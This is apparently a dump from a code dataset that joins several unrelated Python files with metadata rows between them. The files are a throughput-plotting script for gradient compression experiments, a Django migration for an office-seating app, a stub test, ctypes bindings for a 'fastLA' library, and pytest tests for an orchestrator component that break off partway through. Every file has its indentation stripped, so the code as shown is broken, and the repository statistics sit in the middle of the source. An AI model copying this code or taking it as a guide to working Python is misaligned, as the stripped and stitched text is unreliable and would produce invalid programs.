network_bw = 1 * 1024 / 8
num_gpu_per_node = 4
for instance in instances:
GPUs = [1, 2, 4, 8, 16, 32, 64, 128]
width = 0.1
events = np.arange(len(GPUs))
throughput_dfs = {model: None for model in models}
experiment_groups = [glob.glob(f"{log_path}/{instance}/1 GPU/*{model}") for model in models]
for group_ind, experiment_group in enumerate(experiment_groups):
throughput_results = []
compressor_ind_map = {}
latest_compressor_ind = 0
experiment_group.sort()
for ind, experiment in enumerate(experiment_group):
reducer = None
quant_level = None
higher_quant_level = None
compression = None
rank = None
with open(os.path.join(experiment, "success.txt")) as file:
for line in file:
line = line.rstrip()
if line.startswith("architecture"):
architecture = line.split(": ")[-1]
if line.startswith("reducer"):
reducer = label_dict[line.split(": ")[-1]]
if line.startswith("quantization_level"):
quant_level = line.split(": ")[-1]
if line.startswith("higher_quantization_level"):
higher_quant_level = line.split(": ")[-1]
if line.startswith("compression"):
compression = line.split(": ")[-1]
if line.startswith("rank"):
rank = line.split(": ")[-1]
if higher_quant_level:
# label = " ".join([reducer, f"({quant_level},{higher_quant_level})", "bits"])
label = " ".join([reducer])
elif quant_level:
# label = " ".join([reducer, quant_level, "bits"])
label = " ".join([reducer])
elif compression:
label = " ".join([reducer, "K:", compression])
elif rank:
label = " ".join([reducer, "Rank", rank])
else:
label = reducer
if not label in compressor_ind_map:
throughput_results.append([])
compressor_ind_map[label] = latest_compressor_ind
latest_compressor_ind += 1
time_df = pd.read_json(os.path.join(experiment, "timer_summary.json"))
if architecture == "ResNet50":
gradient_size = 89.72
elif architecture == "VGG16":
gradient_size = 56.18
else:
raise ValueError("Model undefined")
if label_dict["NoneAllReducer"] in label:
gradient_size = gradient_size
elif label_dict["QSGDMaxNormReducer"] in label:
gradient_size /= 4
elif label_dict["QSGDMaxNormTwoScaleReducer"] in label:
gradient_size /= 2
elif label_dict["GlobalRandKMaxNormReducer"] in label:
if architecture == "ResNet50":
gradient_size *= 10000 / 23520842
elif architecture == "VGG16":
gradient_size *= 10000 / 14728266
gradient_size /= 4
elif label_dict["GlobalRandKMaxNormTwoScaleReducer"] in label:
if architecture == "ResNet50":
gradient_size *= 10000 / 23520842
elif architecture == "VGG16":
gradient_size *= 10000 / 14728266
gradient_size /= 2
else:
raise ValueError("Method undefined")
for gpu in GPUs:
if gpu > num_gpu_per_node:
num_nodes = gpu / num_gpu_per_node
else:
num_nodes = 1
T = (
time_df["batch"]["average_duration"]
+ gradient_size / inter_gpu_bw * np.log2(num_gpu_per_node)
+ (network_latency + gradient_size / network_bw) * np.log2(num_nodes)
)
throughput = (batch_size * gpu) / T
throughput_results[compressor_ind_map[label]].append(int(throughput))
throughput_dfs[models[group_ind]] = pd.DataFrame(throughput_results, index=compressor_ind_map.keys())
for df_key in throughput_dfs:
fig, axes_main = plt.subplots()
axes_inner = plt.axes([0.25, 0.35, 0.3, 0.3])
axes_inner_range = list(range(0, 4))
throughput_df = throughput_dfs[df_key]
num_compressors = len(throughput_df) - 1
for ind, (label, values) in enumerate(throughput_df.iterrows()):
values = values.to_list()
axes_main.bar(
events + (ind - num_compressors / 2) * width,
values,
width,
label=label,
)
INNER_GPUs = 5
for ind, (label, values) in enumerate(throughput_df.iterrows()):
axes_inner.bar(
events[:INNER_GPUs] + (ind - num_compressors / 2) * width,
values[:INNER_GPUs],
width,
label=label,
)
# axes_inner.grid()
axes_inner.set_xticks(events[:INNER_GPUs])
axes_inner.set_xticklabels(GPUs[:INNER_GPUs])
mark_inset(
axes_main,
axes_inner,
loc1a=4,
loc1b=1,
loc2a=3,
loc2b=2,
fc="none",
ec="0.5",
)
# axes_main.grid()
axes_main.set_xticks(events)
axes_main.set_xticklabels(GPUs)
axes_main.set_ylabel("Images per sec")
axes_main.set_xlabel("Number of GPUs")
# axes_main.set_title(f"Performance Modelling {df_key} {instance}")
axes_main.legend()
plt.tight_layout()
plt.savefig(f"./plots/performance_modelling_{df_key}_{instance}.svg")
plt.show()
if __name__ == "__main__":
root_log_path = "./logs/plot_logs/"
plot_loss_curves(os.path.join(root_log_path, "convergence"))
plot_loss_time_curves(os.path.join(root_log_path, "convergence"))
plot_top1_accuracy_curves(os.path.join(root_log_path, "convergence"))
plot_top1_accuracy_time_curves(os.path.join(root_log_path, "convergence"))
plot_top5_accuracy_curves(os.path.join(root_log_path, "convergence"))
plot_time_breakdown(os.path.join(root_log_path, "time_breakdown"))
plot_time_scalability(os.path.join(root_log_path, "scalability"))
plot_throughput_scalability(os.path.join(root_log_path, "scalability"))
plot_performance_modelling(os.path.join(root_log_path, "scalability"))
| 37.018962 | 113 | 0.521985 | 3,944 | 37,093 | 4.656187 | 0.064655 | 0.043618 | 0.03888 | 0.030712 | 0.87323 | 0.845241 | 0.826073 | 0.810118 | 0.800425 | 0.764703 | 0 | 0.022609 | 0.363249 | 37,093 | 1,001 | 114 | 37.055944 | 0.754901 | 0.111423 | 0 | 0.733032 | 0 | 0 | 0.092408 | 0.035312 | 0 | 0 | 0 | 0 | 0 | 1 | 0.015083 | false | 0 | 0.012066 | 0 | 0.028658 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
5755a70bf5328af77ffbd09df796700c01c2d8c9 | 5,345 | py | Python | office_space/office_space_app/migrations/0001_initial.py | ajigeorge/OfficeSpaceApp | fe6f4fcb8903029d022c8de859ad77174b6e3610 | [
"Apache-2.0"
] | null | null | null | office_space/office_space_app/migrations/0001_initial.py | ajigeorge/OfficeSpaceApp | fe6f4fcb8903029d022c8de859ad77174b6e3610 | [
"Apache-2.0"
] | null | null | null | office_space/office_space_app/migrations/0001_initial.py | ajigeorge/OfficeSpaceApp | fe6f4fcb8903029d022c8de859ad77174b6e3610 | [
"Apache-2.0"
] | null | null | null | # Generated by Django 2.2 on 2021-11-17 14:11
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Building',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('building_code', models.CharField(max_length=5)),
('description', models.CharField(max_length=255)),
('location_code', models.CharField(max_length=5)),
('created_at', models.DateTimeField(auto_now_add=True)),
('updated_at', models.DateTimeField(auto_now=True)),
],
),
migrations.CreateModel(
name='Floor',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('floor_code', models.CharField(max_length=5)),
('building_code', models.CharField(max_length=5)),
('description', models.CharField(max_length=255)),
('location_code', models.CharField(max_length=5)),
('created_at', models.DateTimeField(auto_now_add=True)),
('updated_at', models.DateTimeField(auto_now=True)),
('floors_at_building', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='building_floors', to='office_space_app.Building')),
],
),
migrations.CreateModel(
name='Location',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('location_code', models.CharField(max_length=5)),
('description', models.CharField(max_length=255)),
('city', models.CharField(max_length=100)),
('country', models.CharField(max_length=45)),
('created_at', models.DateTimeField(auto_now_add=True)),
('updated_at', models.DateTimeField(auto_now=True)),
],
),
migrations.CreateModel(
name='User',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('employee_name', models.CharField(max_length=100)),
('email_id', models.CharField(max_length=100)),
('password', models.CharField(max_length=255)),
('location_code', models.CharField(max_length=5)),
('building_code', models.CharField(max_length=5)),
('floor_code', models.CharField(max_length=5)),
('user_role', models.CharField(choices=[('Admin', 'Admin'), ('Location_anchor', 'Location_anchor'), ('Building_anchor', 'Building_anchor'), ('Floor_anchor', 'Floor_anchor')], max_length=45)),
('created_at', models.DateTimeField(auto_now_add=True)),
('updated_at', models.DateTimeField(auto_now=True)),
('building', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='building_users', to='office_space_app.Building')),
('floor', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='floor_users', to='office_space_app.Floor')),
('location', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='location_users', to='office_space_app.Location')),
],
),
migrations.CreateModel(
name='Seat',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('seat_number', models.CharField(max_length=25)),
('seat_type', models.CharField(max_length=45)),
('floor_code', models.CharField(max_length=5)),
('building_code', models.CharField(max_length=5)),
('location_code', models.CharField(max_length=5)),
('created_at', models.DateTimeField(auto_now_add=True)),
('updated_at', models.DateTimeField(auto_now=True)),
('seats_at_building', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='building_seats', to='office_space_app.Building')),
('seats_at_floor', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='floor_seats', to='office_space_app.Floor')),
('seats_at_location', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='location_seats', to='office_space_app.Location')),
],
),
migrations.AddField(
model_name='floor',
name='floors_at_location',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='location_floors', to='office_space_app.Location'),
),
migrations.AddField(
model_name='building',
name='buildings_at_location',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='location_buildings', to='office_space_app.Location'),
),
]
| 55.677083 | 207 | 0.614032 | 567 | 5,345 | 5.532628 | 0.13933 | 0.109978 | 0.126235 | 0.168314 | 0.832643 | 0.736372 | 0.725534 | 0.712145 | 0.712145 | 0.67963 | 0 | 0.01361 | 0.243966 | 5,345 | 95 | 208 | 56.263158 | 0.762683 | 0.008045 | 0 | 0.613636 | 1 | 0 | 0.184151 | 0.045283 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.011364 | 0.022727 | 0 | 0.068182 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
93a917e59e024c2142b15af4d39a8efc8ac1911e | 97 | py | Python | ckanext/ckanext-sixodp_ui/ckanext/sixodp_ui/tests/test_plugin.py | Tampere/sixodp-tampere | 975105a5e20e97c54dd7c84c761f91cca1316842 | [
"MIT"
] | 8 | 2016-10-14T14:32:00.000Z | 2022-01-14T16:04:07.000Z | ckanext/ckanext-sixodp_ui/ckanext/sixodp_ui/tests/test_plugin.py | Tampere/sixodp-tampere | 975105a5e20e97c54dd7c84c761f91cca1316842 | [
"MIT"
] | 42 | 2016-11-11T12:24:54.000Z | 2021-07-12T03:29:18.000Z | ckanext/ckanext-sixodp_ui/ckanext/sixodp_ui/tests/test_plugin.py | Tampere/sixodp-tampere | 975105a5e20e97c54dd7c84c761f91cca1316842 | [
"MIT"
] | 7 | 2017-03-13T09:21:08.000Z | 2018-01-08T06:40:22.000Z | """Tests for plugin.py."""
import ckanext.sixodp_ui.plugin as plugin
def test_plugin():
pass | 19.4 | 41 | 0.721649 | 15 | 97 | 4.533333 | 0.8 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.14433 | 97 | 5 | 42 | 19.4 | 0.819277 | 0.206186 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | true | 0.333333 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 7 |
93c48d9ea3e876fead68ef7b678a68b2349f3528 | 24,829 | py | Python | sparseklearn/fastLA/fastLA.py | EricKightley/sparseklearn | d5d1f42c0572972ea3f4702734f82066ae7270e3 | [
"MIT"
] | 3 | 2018-02-08T08:35:54.000Z | 2020-02-19T21:50:28.000Z | sparseklearn/fastLA/fastLA.py | EricKightley/sparseklearn | d5d1f42c0572972ea3f4702734f82066ae7270e3 | [
"MIT"
] | 1 | 2020-07-07T05:23:52.000Z | 2020-07-08T13:57:48.000Z | sparseklearn/fastLA/fastLA.py | EricKightley/sparseklearn | d5d1f42c0572972ea3f4702734f82066ae7270e3 | [
"MIT"
] | 1 | 2019-10-07T03:56:41.000Z | 2019-10-07T03:56:41.000Z | import os
import numpy as np
from numpy.ctypeslib import ndpointer
import ctypes as ct
import glob
# local_path = os.path.dirname(__file__)
# dist = ct.CDLL(local_path + os.path.sep + 'source' + os.path.sep +
# 'libdistances.so')
# mom = ct.CDLL(local_path + os.path.sep + 'source' + os.path.sep +
# 'libmoments.so')
# aux = ct.CDLL(local_path + os.path.sep + 'source' + os.path.sep +
# 'libauxiliary.so')
path = os.path.abspath(__file__)
path = os.path.realpath(path)
path = os.path.dirname(path)
path = glob.glob(path + '/_fastLA*.so')[0]
_fastLA = ct.CDLL(path)
################################################################################
## dist_both_comp
_fastLA.dist_both_comp.restype = ct.c_double
_fastLA.dist_both_comp.argtypes = [
ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #comp_sample_1
ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #comp_sample_2
ndpointer(ct.c_int64, flags='C_CONTIGUOUS'), #mask_1
ndpointer(ct.c_int64, flags='C_CONTIGUOUS'), #mask_2
ct.c_int64, #num_feat_comp
ct.c_int64] #num_feat_full
def dist_both_comp(comp_sample_1,
comp_sample_2,
mask_1,
mask_2,
num_feat_comp,
num_feat_full):
return _fastLA.dist_both_comp(comp_sample_1,
comp_sample_2,
mask_1,
mask_2,
num_feat_comp,
num_feat_full)
################################################################################
## dist_one_comp_one_full
_fastLA.dist_one_comp_one_full.restype = ct.c_double
_fastLA.dist_one_comp_one_full.argtypes = [
ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #comp_sample
ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #full_sample
ndpointer(ct.c_int64, flags='C_CONTIGUOUS'), #mask
ct.c_int64, #num_feat_comp
ct.c_int64] #num_feat_full
def dist_one_comp_one_full(comp_sample,
full_sample,
mask,
num_feat_comp,
num_feat_full):
return _fastLA.dist_one_comp_one_full(comp_sample,
full_sample,
mask,
num_feat_comp,
num_feat_full)
################################################################################
## pairwise_l2_distances_with_self
_fastLA.pairwise_l2_distances_with_self.restype = None
_fastLA.pairwise_l2_distances_with_self.argtypes = [
ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #result
ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #comp_array
ndpointer(ct.c_int64, flags='C_CONTIGUOUS'), #mask_array
ct.c_int64, #num_samples
ct.c_int64, #num_feat_comp
ct.c_int64] #num_feat_full
def pairwise_l2_distances_with_self(result,
comp_array,
mask_array,
num_samples,
num_feat_comp,
num_feat_full):
return _fastLA.pairwise_l2_distances_with_self(result,
comp_array,
mask_array,
num_samples,
num_feat_comp,
num_feat_full)
################################################################################
## pairwise_l2_distances_with_full
_fastLA.pairwise_l2_distances_with_full.restype = None
_fastLA.pairwise_l2_distances_with_full.argtypes = [
ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #result
ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #comp_array
ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #full_array
ndpointer(ct.c_int64, flags='C_CONTIGUOUS'), #mask_array
ct.c_int64, #num_samples_comp
ct.c_int64, #num_samples_full
ct.c_int64, #num_feat_comp
ct.c_int64] #num_feat_full
def pairwise_l2_distances_with_full(result,
comp_array,
full_array,
mask_array,
num_samples_comp,
num_samples_full,
num_feat_comp,
num_feat_full):
return _fastLA.pairwise_l2_distances_with_full(result,
comp_array,
full_array,
mask_array,
num_samples_comp,
num_samples_full,
num_feat_comp,
num_feat_full)
################################################################################
## mahalanobis_distance_spherical
_fastLA.mahalanobis_distance_spherical.restype = ct.c_double
_fastLA.mahalanobis_distance_spherical.argtypes = [
ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #comp_sample
ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #full_mean
ndpointer(ct.c_int64, flags='C_CONTIGUOUS'), #mask
ct.c_double, #spherical_covariance
ct.c_int64, #num_feat_comp
ct.c_int64] #num_feat_full
def mahalanobis_distance_spherical(comp_sample,
full_mean,
mask,
spherical_covariance,
num_feat_comp,
num_feat_full):
return _fastLA.mahalanobis_distance_spherical(comp_sample,
full_mean,
mask,
spherical_covariance,
num_feat_comp,
num_feat_full)
################################################################################
## mahalanobis_distance_diagonal
_fastLA.mahalanobis_distance_diagonal.restype = ct.c_double
_fastLA.mahalanobis_distance_diagonal.argtypes = [
ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #comp_sample
ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #full_mean
ndpointer(ct.c_int64, flags='C_CONTIGUOUS'), #mask
ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #diagonal covariance
ct.c_int64, #num_feat_comp
ct.c_int64] #num_feat_full
def mahalanobis_distance_diagonal(comp_sample,
full_mean,
mask,
diagonal_covariance,
num_feat_comp,
num_feat_full):
return _fastLA.mahalanobis_distance_diagonal(comp_sample,
full_mean,
mask,
diagonal_covariance,
num_feat_comp,
num_feat_full)
################################################################################
## pairwise_mahalanobis_distances_spherical
_fastLA.pairwise_mahalanobis_distances_spherical.restype = None
_fastLA.pairwise_mahalanobis_distances_spherical.argtypes = [
ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #result
ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #comp_array
ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #full_means
ndpointer(ct.c_int64, flags='C_CONTIGUOUS'), #mask_array
ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #spherical_covariance_array
ct.c_int64, #num_samples_comp
ct.c_int64, #num_samples_full
ct.c_int64, #num_feat_comp
ct.c_int64] #num_feat_full
def pairwise_mahalanobis_distances_spherical(result,
comp_array,
full_means,
mask_array,
spherical_covariance_array,
num_samples_comp,
num_samples_full,
num_feat_comp,
num_feat_full):
return _fastLA.pairwise_mahalanobis_distances_spherical(result,
comp_array,
full_means,
mask_array,
spherical_covariance_array,
num_samples_comp,
num_samples_full,
num_feat_comp,
num_feat_full)
################################################################################
## pairwise_mahalanobis_distances_diagonal
_fastLA.pairwise_mahalanobis_distances_diagonal.restype = None
_fastLA.pairwise_mahalanobis_distances_diagonal.argtypes = [
ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #result
ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #comp_array
ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #full_means
ndpointer(ct.c_int64, flags='C_CONTIGUOUS'), #mask_array
ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #diagonal_covariance_array
ct.c_int64, #num_samples_comp
ct.c_int64, #num_feat_comp
ct.c_int64, #num_feat_comp
ct.c_int64] #num_feat_full
def pairwise_mahalanobis_distances_diagonal(result,
comp_array,
full_means,
mask_array,
diagonal_covariance_array,
num_samples_comp,
num_samples_full,
num_feat_comp,
num_feat_full):
return _fastLA.pairwise_mahalanobis_distances_diagonal(result,
comp_array,
full_means,
mask_array,
diagonal_covariance_array,
num_samples_comp,
num_samples_full,
num_feat_comp,
num_feat_full)
################################################################################
## update_weighted_first_moment
_fastLA.update_weighted_first_moment.restype = None
_fastLA.update_weighted_first_moment.argtypes = [
ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #first_moment_to_update
ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #normalizer_to_update
ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #comp_sample
ndpointer(ct.c_int64, flags='C_CONTIGUOUS'), #mask
ct.c_double, #weight
ct.c_int64, #num_feat_comp
ct.c_int64] #num_feat_full
def update_weighted_first_moment(first_moment_to_update,
normalizer_to_update,
comp_sample,
mask,
weight,
num_feat_comp,
num_feat_full):
return _fastLA.update_weighted_first_moment(first_moment_to_update,
normalizer_to_update,
comp_sample,
mask,
weight,
num_feat_comp,
num_feat_full)
################################################################################
## update_weighted_first_moment_array
_fastLA.update_weighted_first_moment_array.restype = None
_fastLA.update_weighted_first_moment_array.argtypes = [
ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #first_moment_array
ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #normalizer_array
ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #comp_sample
ndpointer(ct.c_int64, flags='C_CONTIGUOUS'), #mask
ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #weights
ct.c_int64, #num_samp_full
ct.c_int64, #num_feat_comp
ct.c_int64] #num_feat_full
def update_weighted_first_moment_array(first_moment_array,
normalizer_array,
comp_sample,
mask,
weights,
num_samp_full,
num_feat_comp,
num_feat_full):
return _fastLA.update_weighted_first_moment_array(first_moment_array,
normalizer_array,
comp_sample,
mask,
weights,
num_samp_full,
num_feat_comp,
num_feat_full)
################################################################################
## compute_weighted_first_moment_array
_fastLA.compute_weighted_first_moment_array.restype = None
_fastLA.compute_weighted_first_moment_array.argtypes = [
ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #first_moment_array
ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #comp_array
ndpointer(ct.c_int64, flags='C_CONTIGUOUS'), #mask
ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #weights
ct.c_int64, #num_samp_comp
ct.c_int64, #num_samp_full
ct.c_int64, #num_feat_comp
ct.c_int64] #num_feat_full
def compute_weighted_first_moment_array(first_moment_array,
comp_array,
mask_array,
weights_array,
num_samp_comp,
num_samp_full,
num_feat_comp,
num_feat_full):
return _fastLA.compute_weighted_first_moment_array(first_moment_array,
comp_array,
mask_array,
weights_array,
num_samp_comp,
num_samp_full,
num_feat_comp,
num_feat_full)
################################################################################
## update_weighted_first_and_second_moment
_fastLA.update_weighted_first_and_second_moment.restype = None
_fastLA.update_weighted_first_and_second_moment.argtypes = [
ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #first_moment_to_update
ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #second_moment_to_update
ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #normalizer_to_update
ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #comp_sample
ndpointer(ct.c_int64, flags='C_CONTIGUOUS'), #mask
ct.c_double, #weight
ct.c_int64, #num_feat_comp
ct.c_int64] #num_feat_full
def update_weighted_first_and_second_moment(first_moment_to_update,
second_moment_to_update,
normalizer_to_update,
comp_sample,
mask,
weight,
num_feat_comp,
num_feat_full):
return _fastLA.update_weighted_first_and_second_moment(first_moment_to_update,
second_moment_to_update,
normalizer_to_update,
comp_sample,
mask,
weight,
num_feat_comp,
num_feat_full)
################################################################################
## update_weighted_first_and_second_moment_array
_fastLA.update_weighted_first_and_second_moment_array.restype = None
_fastLA.update_weighted_first_and_second_moment_array.argtypes = [
ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #first_moment_array
ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #second_moment_array
ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #normalizer_array
ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #comp_sample
ndpointer(ct.c_int64, flags='C_CONTIGUOUS'), #mask
ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #weights
ct.c_int64, #num_samp_full
ct.c_int64, #num_feat_comp
ct.c_int64] #num_feat_full
def update_weighted_first_and_second_moment_array(first_moment_array,
second_moment_array,
normalizer_array,
comp_sample,
mask,
weights,
num_samp_full,
num_feat_comp,
num_feat_full):
return _fastLA.update_weighted_first_and_second_moment_array(first_moment_array,
second_moment_array,
normalizer_array,
comp_sample,
mask,
weights,
num_samp_full,
num_feat_comp,
num_feat_full)
################################################################################
## compute_weighted_first_and_second_moment_array
_fastLA.compute_weighted_first_and_second_moment_array.restype = None
_fastLA.compute_weighted_first_and_second_moment_array.argtypes = [
ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #first_moment_array
ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #second_moment_array
ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #comp_array
ndpointer(ct.c_int64, flags='C_CONTIGUOUS'), #mask
ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #weights
ct.c_int64, #num_samp_comp
ct.c_int64, #num_samp_full
ct.c_int64, #num_feat_comp
ct.c_int64] #num_feat_full
def compute_weighted_first_and_second_moment_array(first_moment_array,
second_moment_array,
comp_array,
mask_array,
weights_array,
num_samp_comp,
num_samp_full,
num_feat_comp,
num_feat_full):
return _fastLA.compute_weighted_first_and_second_moment_array(first_moment_array,
second_moment_array,
comp_array,
mask_array,
weights_array,
num_samp_comp,
num_samp_full,
num_feat_comp,
num_feat_full)
################################################################################
## apply_mask_to_full_sample
_fastLA.apply_mask_to_full_sample.restype = None
_fastLA.apply_mask_to_full_sample.argtypes = [
ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #result
ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #samp_full
ndpointer(ct.c_int64, flags='C_CONTIGUOUS'), #mask
ct.c_int64] #num_feat_comp
def apply_mask_to_full_sample(result,
samp_full,
mask,
num_feat_comp):
return _fastLA.apply_mask_to_full_sample(result,
samp_full,
mask,
num_feat_comp)
################################################################################
## logdet_cov_diag
_fastLA.logdet_cov_diag.restype = None
_fastLA.logdet_cov_diag.argtypes = [
ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #result
ndpointer(ct.c_double, flags='C_CONTIGUOUS'), #cov_array
ndpointer(ct.c_int64, flags='C_CONTIGUOUS'), #mask
ct.c_int64, #num_samp_comp
ct.c_int64, #num_cov
ct.c_int64, #num_feat_comp
ct.c_int64] #num_feat_full
def logdet_cov_diag(result,
cov_array,
mask,
num_samp_comp,
num_cov,
num_feat_comp,
num_feat_full):
return _fastLA.logdet_cov_diag(result,
cov_array,
mask,
num_samp_comp,
num_cov,
num_feat_comp,
num_feat_full)
| 50.159596 | 85 | 0.428571 | 2,021 | 24,829 | 4.767442 | 0.039584 | 0.037052 | 0.0822 | 0.091541 | 0.94603 | 0.929735 | 0.893721 | 0.863103 | 0.839751 | 0.804048 | 0 | 0.011289 | 0.468404 | 24,829 | 494 | 86 | 50.261134 | 0.718691 | 0.089009 | 0 | 0.803618 | 0 | 0 | 0.037953 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.041344 | false | 0 | 0.01292 | 0.041344 | 0.095607 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
93c985891031ec107b15bc9dc3d0317073f5a378 | 15,048 | py | Python | test_pytest/test_unit/test_orchestrator/test_component.py | hrvojekeserica/hat-core | 759def68620cf4f8c11e7bbbdbfd1e701dbafb09 | [
"MIT"
] | null | null | null | test_pytest/test_unit/test_orchestrator/test_component.py | hrvojekeserica/hat-core | 759def68620cf4f8c11e7bbbdbfd1e701dbafb09 | [
"MIT"
] | null | null | null | test_pytest/test_unit/test_orchestrator/test_component.py | hrvojekeserica/hat-core | 759def68620cf4f8c11e7bbbdbfd1e701dbafb09 | [
"MIT"
] | null | null | null | import pytest
import asyncio
import unittest.mock
import sys
import hat.orchestrator.component
from hat.util import aio
from hat.orchestrator.component import (Status,
Component)
@pytest.fixture()
def short_start_delay(monkeypatch):
monkeypatch.setattr(hat.orchestrator.component, 'start_delay', 0.001)
@pytest.fixture()
def short_sigint_timeout(monkeypatch):
monkeypatch.setattr(hat.orchestrator.component, 'sigint_timeout', 0.001)
@pytest.fixture()
def process_queue(event_loop, monkeypatch):
queue = aio.Queue()
create_subprocess_exec = asyncio.create_subprocess_exec
async def mock(*args, **kwargs):
p = await create_subprocess_exec(*args, **kwargs)
queue.put_nowait(p)
return p
monkeypatch.setattr(asyncio, 'create_subprocess_exec', mock)
return queue
def create_component_with_status_queue(conf):
component = Component(conf)
status_queue = aio.Queue()
component.register_change_cb(
lambda: status_queue.put_nowait(component.status))
return component, status_queue
@pytest.mark.asyncio
async def test_delayed_start_stop(short_start_delay):
component, status_queue = create_component_with_status_queue({
'name': 'comp-xy',
'args': ['sleep', '30'],
'delay': 0.01,
'revive': False})
assert component.status == Status.DELAYED
assert (await status_queue.get() == Status.STARTING)
assert (await status_queue.get() == Status.RUNNING)
component.stop()
assert (await status_queue.get() == Status.STOPPING)
assert (await status_queue.get() == Status.STOPPED)
component.start()
assert (await status_queue.get() == Status.STARTING)
assert (await status_queue.get() == Status.RUNNING)
assert status_queue.empty()
await component.async_close()
assert component.closed.done()
@pytest.mark.asyncio
async def test_revive_on_stop(short_start_delay):
component, status_queue = create_component_with_status_queue({
'name': 'comp-xy',
'args': ['sleep', '30'],
'delay': 0,
'revive': True})
assert component.status == Status.STOPPED
assert (await status_queue.get() == Status.STARTING)
assert (await status_queue.get() == Status.RUNNING)
for i in range(3):
component.stop()
assert (await status_queue.get() == Status.STOPPING)
assert (await status_queue.get() == Status.STOPPED)
assert (await status_queue.get() == Status.STARTING)
assert (await status_queue.get() == Status.RUNNING)
component.set_revive(False)
await status_queue.get()
component.stop()
assert (await status_queue.get() == Status.STOPPING)
